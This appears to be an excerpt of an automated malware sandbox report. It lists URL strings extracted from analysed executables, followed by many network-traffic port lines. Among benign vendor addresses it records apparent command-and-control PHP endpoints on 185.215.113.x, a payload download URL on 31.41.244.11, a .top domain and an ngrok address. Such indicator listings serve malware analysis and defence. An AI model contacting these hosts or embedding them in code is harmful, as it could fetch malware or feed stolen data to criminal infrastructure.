Source: file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpZ
Source: file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpf
Source: file.exe, 00000000.00000002.2778649643.0000000000A65000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpplorerFPS_BROWSERM
Source: file.exe, 00000000.00000002.2778649643.0000000000A65000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3486643108.000000000106E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.3486643108.000000000106E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpO
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpY
Source: skotes.exe, 00000019.00000002.3486643108.000000000106E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000019.00000002.3486643108.000000000106E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506238476
Source: skotes.exe, 00000019.00000002.3486643108.000000000106E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeurlencodedy
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: f3f60a7f50.exe, 0000001B.00000002.3488386085.000000000165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347
Source: f3f60a7f50.exe, 0000001B.00000002.3488386085.000000000165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347U
Source: f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347libgcc_s_dw2-1.dll__register_frame_info__der
Source: f3f60a7f50.exe, 0000001B.00000003.3442308926.0000000007372000.00000004.00001000.00020000.00000000.sdmp, f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_307.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2819998780.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2808099605.000000001D99F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: f3f60a7f50.exe, 0000001B.00000003.3442308926.0000000007372000.00000004.00001000.00020000.00000000.sdmp, f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: f3f60a7f50.exe, 0000001B.00000003.3442308926.0000000007372000.00000004.00001000.00020000.00000000.sdmp, f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: chromecache_307.5.dr	String found in binary or memory: https://apis.google.com
Source: bf7290cd-1c5f-4508-81ed-01181841ed8e.tmp.11.dr	String found in binary or memory: https://assets.msn.com
Source: file.exe, 00000000.00000002.2811087344.0000000023B03000.00000004.00000020.00020000.00000000.sdmp, HDAKJDHIEBFIIDGDGDBA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2811087344.0000000023B03000.00000004.00000020.00020000.00000000.sdmp, HDAKJDHIEBFIIDGDGDBA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: Reporting and NEL.11.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr, AFBFHDBK.0.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr, AFBFHDBK.0.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: bf7290cd-1c5f-4508-81ed-01181841ed8e.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: bf7290cd-1c5f-4508-81ed-01181841ed8e.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2811087344.0000000023B03000.00000004.00000020.00020000.00000000.sdmp, HDAKJDHIEBFIIDGDGDBA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2811087344.0000000023B03000.00000004.00000020.00020000.00000000.sdmp, HDAKJDHIEBFIIDGDGDBA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: f3f60a7f50.exe, 0000001B.00000003.3442308926.0000000007372000.00000004.00001000.00020000.00000000.sdmp, f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.10.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr, AFBFHDBK.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr, AFBFHDBK.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr, AFBFHDBK.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: bf7290cd-1c5f-4508-81ed-01181841ed8e.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log7.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: chromecache_307.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_307.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_307.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_307.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: HDAKJDHIEBFIIDGDGDBA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10
Source: 000003.log.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log8.10.dr, 000003.log0.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log8.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: Session_13376756624663017.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chromecache_307.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: file.exe, 00000000.00000003.2679417336.0000000023D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2679417336.0000000023D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: file.exe, 00000000.00000002.2811087344.0000000023B03000.00000004.00000020.00020000.00000000.sdmp, HDAKJDHIEBFIIDGDGDBA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, DAECFIJD.0.dr, AFBFHDBK.0.dr, Web Data.10.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: bf7290cd-1c5f-4508-81ed-01181841ed8e.tmp.11.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_307.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_307.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_307.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: file.exe, 00000000.00000002.2778649643.0000000000A34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000003.2679417336.0000000023D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2778649643.0000000000A34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/oojt.exe
Source: file.exe, 00000000.00000002.2778649643.0000000000A34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2778649643.0000000000A34000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: file.exe, 00000000.00000003.2679417336.0000000023D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2679417336.0000000023D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2811087344.0000000023B03000.00000004.00000020.00020000.00000000.sdmp, HDAKJDHIEBFIIDGDGDBA.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
